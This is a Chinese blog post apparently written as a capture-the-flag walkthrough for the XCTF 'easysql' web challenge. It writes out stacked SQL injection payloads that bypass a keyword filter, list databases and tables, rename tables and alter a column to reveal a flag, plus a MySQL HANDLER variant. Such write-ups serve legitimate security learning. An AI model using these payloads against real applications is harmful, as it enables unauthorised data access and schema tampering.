过滤select|update|delete|drop|insert|where的注入

这个题目取自https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1;

看到这个题目easysql,尝试了'出现报错信息,

看到这种报错第一时间我想到的是sql报错于是尝试了一下显示

说明过滤了select|update|delete|drop|insert|where,然后就想到了堆叠注入(使用分号结束上一个语句再叠加其他语句一起执行;)。
尝试了一下';show databases;--+显示所有库

';show tables;--+显示所有表

继续查看表的内容1';show columns from 1919810931114514;--+ 跟1';show columns from words;--+


这个时候我们已经看到flag
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag


方法二:利用mysql查询语句handler
1';handler 1919810931114514 open;handler 1919810931114514 read first;#

posted @ 2020-08-11 18:03  tao-yao  阅读(324)  评论(0编辑  收藏  举报